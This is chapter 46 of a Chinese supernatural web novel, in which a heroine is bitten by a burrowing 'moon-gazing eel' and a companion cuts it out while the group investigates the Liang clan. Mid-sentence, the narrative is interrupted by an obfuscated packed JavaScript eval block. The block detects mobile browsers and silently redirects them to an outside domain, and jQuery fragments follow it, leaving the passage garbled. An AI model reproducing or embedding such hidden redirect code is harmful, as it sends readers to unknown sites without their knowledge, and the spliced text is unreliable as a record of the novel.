46.第 46 章

作品:《他不是人?我是真狗

    姜觅重心刚偏,飞速察觉到异样的承归立刻就趴在了地上,拽住了姜觅的手腕。


    “撑住!只差一点点了。”承归说。


    刺痛之后,整个右小腿的血管猛然胀痛,像是要爆炸开一样。姜觅疼得五官皱成一团。


    胀痛感持续上延,皮肤和肉被剥离撑开似的。绝不是简单地被什么咬了那样,它在往肉里钻。


    姜觅咬着牙,干脆放弃使用右脚,整个左脚用力一蹬,手往前一攀:“拉!”


    承归同时用力,姜觅终于上了岸,她右腿疼得人都坐不直,整个小腿不受控制痉挛。


    抽不动淤泥的机器咔咔两声,彻底停止运作,滚动的淤泥逐渐停止翻滚,四周却没有平息下来,山柳那边乱窜的声音一响,又有一只一只乌鸦飞出,围着满池塘淤泥盘旋哀鸣。


    承归把姜觅拉到自己的怀里,一手压着她胡乱踹动的右腿,一手帮她脱了鞋袜,拉开裤腿管。


    沾满淤泥的黑色布料粘在皮肤上,承归说了句:“忍忍!失礼了。”


    他的手往上一推,右腿膝盖下段露出来。


    匀称雪白的小腿肚子上,薄薄的皮肤下凸起一条一掌长,手指粗的异物在蠕动,最尾端挨着姜觅的脚踝。瓶盖大的窟窿随着蠕动节奏,一下又一下地往外涌血。


    承归沉声说:“是黄鳝。”


    吓得一脸惨白的助理,难以置信地问:“黄鳝还会咬人吗?”


    “黄鳝受到攻击后好像会咬人。”姜大说。


    姜觅疼得快要昏死过去,咬着发白的嘴唇对姜大说:“去仔细检查姜二有没有被咬。”


    只是刹那,姜觅的腿就连抽动的力气都没了,血红色蔓延到整个腿部。


    “给我一把刀。”承归对姜觅解释,“这东西会一直试图往你血管里钻,像蚂蟥那样,所以我不能直接去挤压往外扯,万一滑走或是半截断在里面,会更严重……你有多能忍痛?”


    “我后腰有把匕首,刀口很尖。”姜觅气若游丝,断断续续说,“多痛我都能忍,我信你。”


    “……好。”承归摸到姜觅后腰,拔出匕首,手半停在空中,光面反射出他泛红的眼圈。


    姜觅扯着嘴角笑了下:“不要犹豫。”


    “嗯。”


    承归左手压住姜觅膝盖往下一点的位置,用手腕的力量截断黄鳝继续上行的去处同时,分开手指在两边,不让黄鳝仓皇乱窜。


    一抹银光一闪,匕首尖端直接扎入肉中。皮肤下的异物挣扎扭动几下,彻底不动。


    硬生生咬牙坚持的姜觅,在刀刺入时没有太大反应,反倒是最后,眼角飙出了眼泪。


    满头大汗的承归扔了刀,替姜觅拂开一缕沾了淤泥的鬓发:“就快好了。”


    承归轻轻掰开刀口,捏出一条喝够了血,身体鼓鼓囊囊的黄鳝。


    被刀刺过的黄鳝头,分裂成两半,黏液、黑血、红肉恶心的糊在一起。


    姜觅看了一眼。这黄鳝颜色和常见的黄鳝不同,通身金褐色,长满黑红小点。


    “姜二身上没有外伤。”检查完姜二的姜大望见姜觅这边也解决了,彻底松了一口气。


    天在不觉之中变黑,鸦群离去,月移到正中央。


    银白寒凉的月光倾泻而下,嘶嘶嘶响动再现,伴随着淤泥翻滚的哗哗声。


    一行人侧头,看见密密麻麻的黄鳝从淤泥中探头,扬起略宽的头,对准月亮的方向。


    “黄鳝望月……”姜觅皱着眉头说。


    传言有一种鳝鱼,以腐尸为食。外形与普通鳝鱼相似,但体型较粗壮,月圆之夜会钻出洞穴昂首望月,故得名望月鳝。


    这种鳝鱼有两种说法,一种是它们吸收了月亮精气成精,还有一种是它们本身奇毒无比。


    “扶我站起来。”姜觅对承归说。


    “抱歉。”承归知道她是要观察黄鳝,干脆把她打横一抱,不让伤口因用力而持续渗血。


    姜觅呆了呆,慢吞吞地伸出手环抱住承归的脖子。


    当整个三角形池塘一览无余,姜觅看到了更惊悚的一幕——


    池子里的黄鳝是呈三角形排列的,中央有一条眼镜蛇粗细的黄鳝,整个身躯挺得笔直,对着月亮吐出短短红舌头,嘶嘶——


    姜觅抬眼看了看弯月:“我记得动物望月的传说,写的都是看满月。”


    助理咽了咽口水:“对!狼也是看满月。咱们这……是不是得做点什么?”


    “不能,现在情况未明,不能轻举妄动。”姜大说,“这一般看多久的月亮?”


    没人能说出肯定的答案,一众把目光对准了承归。


    “不好说,吸够了灵气,或是没有月光后结束吧。”承归不太确定地说。


    五分钟后,风推着白云飘过,短暂遮住月亮的瞬间,中央的黄鳝唰的一声藏进淤泥中,其他成千上万条黄鳝纷纷跟着把头收了进去。


    寂静之时,助理的手机震动了下,他点开消息,是姜家人员出动,家族群里更新的信息。


    助理粗粗扫了一眼,跑到姜觅面前,给她看屏幕,对照顾姜二的姜大说:“姜大哥,看群!”


    1.彩石网店IP是川西知名古镇,店铺实名制登记的人都姓梁,在当地经营客栈和旅游纪念品。


    2.接触三家梁姓人后,套出如下信息——贩卖彩石的梁姓人中,个别孩子言语迟缓,行动吃力,神情痴傻,怀疑智力缺失。


    休宁村曾名梁人村,与古镇的梁家人出自同支,眼下是做小生意的普通百姓,祖上曾富甲一方。


    广汉县县志记载一怪谈,说开元盛世年间,当地有一名人姓梁,无父无母,靠叔伯救济,幼时少时,三十年饥寒交迫、苦读诗书而不得志,一夜,在河边排解心情时见黄鳝望月,此鳝会用音节说人话,称自己为望月鳝。


    梁姓人在望月鳝的指点下,很快赚了大钱,摇身一变成了当地巨富梁师爷。


    再有一天,梁师爷留下书信一封,消失不见了。


    3.面具暂无确切答案,包裹姜二哥的红褐黄三色的布料、锥帽,初步判断与某种巫术崇拜有关。


    ……因不建议挪动姜二哥,已抽调医疗等各种特殊人员赶往当地,剩余信息待查。


    姜大率先打破沉默,看向姜觅和承归:“白胡子老翁,也能长生不死?”


    承归摇摇头:“不可能,最后一次见他,他头顶的气焰灰黑,按理说,不会活过三个月。”


    “有什么好猜的?我巴不得他活到现在,姜二现在这副样子,他的命抵给我也还不清!”姜觅冷笑一声,“只要盯住卖彩石的梁姓人,弄清楚彩石来源,就离真相不远了。”


    承归把姜觅放下后,蹲到她腿边,见包好了的伤口仍在流血,纱布被染得血


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039373|175163||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红,不由皱眉。


    姜觅不在意地摆摆手:“别担心,我凝血功能比一般人差点,再等一会儿才能好。”


    “还有干净的水吗?”承归问助理。


    “有的有的。”助理去书包附近拿了一瓶未开封的矿泉水过来。


    带着丝丝凉意的矿泉水,刚接触到姜觅的伤处,她就被冰凉爽感和血肉钝痛,刺得直勾脚背。


    助理和承归担心她撑不住摔倒,一人默默站到她的背后,一人伸出手臂扶住她的腰背。


    向来不拘小节的姜觅,因后腰的触感,略微失神,不自觉去看,给自己冲洗伤口的承归。


    他很细心,也很小心,手指的力道比水流落下时还要轻,极力避开翻卷的皮肉。


    姜觅清了清嗓子:“好了没?”


    “没有。”承归说。


    “那等医疗用品再弄,这一时半会的不会怎样……”姜觅不太自在地说。


    承归沉吟一瞬:“黄鳝钻过的地方都是肿的,我怀疑有毒,等不了了……”


    姜觅“啊?”了一声,小腿肚就传来了有些痒的触感。


    低头一看,承归微微粗糙的指腹,正一点点顺着黄鳝爬过的地方打拳按摩。


    时轻时重。她猜他是要将淤血之类的,顺着伤口挤出来。


    姜觅惊讶了下,不太适应地抬起下巴,眼睛滴溜溜地看向其他地方。


    伴随着腿上的胀痛逐渐消失,承归抬起头说:“差不多了,我扶你去边上休息?”


    “好。”姜觅轻声说,不小心对上承归那双,比夜空清朗,深邃明亮的眼睛。


    一直守着姜二身边的姜大,愁眉不展地盯着手机屏幕上刷新的消息时,一个电话拨了过来,按下免提后,那头传来姜家人急促奔跑,喘着气的说话声。


    “姜大哥!你怎么才接电话,大事不好了,拿过彩石的领头人打伤了我们,抢了车子跑了!”


    姜大愣了半秒:“把话说清楚!领头人跑哪里去了,其他碰过彩石的人呢?”


    “其他几个没有问题,我们兵分两路的,他们那组的人快出四川了。还好我正好撞见了台的士,顺手就拦下来,跟着领头人,我搞不清具体方向,车停了,他跑了!不对,我咋感觉又回到你们那……”


    姜觅和承归,朝着他们进来的方向一看。


    上午那个满脸发青,瘦高佝偻的男人出现在了山柳树下面,直勾勾地与他们对视。


    “他到了。”姜大挂断电话,径直就准备朝着领头人去。


    承归见状,对姜大说:“姜大哥,别过去,看看他想做什么。”


    男人的动作很机械,从柳树走到他们这边,不过十几米,脚却是在地上拖着的,一步一步,鞋底擦着土路沙沙声不止。最后停在了姜觅和承归面前。


    男人缓慢地转动着头,直到完全与承归面对面:“我要走了,把东西给我。”


    莫名其妙!气不打一处来的姜觅,冷冷地说道:“你要去哪?”


    男人没有回答,停顿一秒,又重复说:“我要走了,把东西给我。”


    这一次,他的发声更平,嘶哑的嗓音拖了很长,像是故意装神弄鬼。


    姜觅眼皮一跳,恨不得给他几巴掌,好拍醒这不争气的姜家人!


    “他是来找我的。”承归安抚地拍拍姜觅的肩膀,“冲着我身上的石头来的。”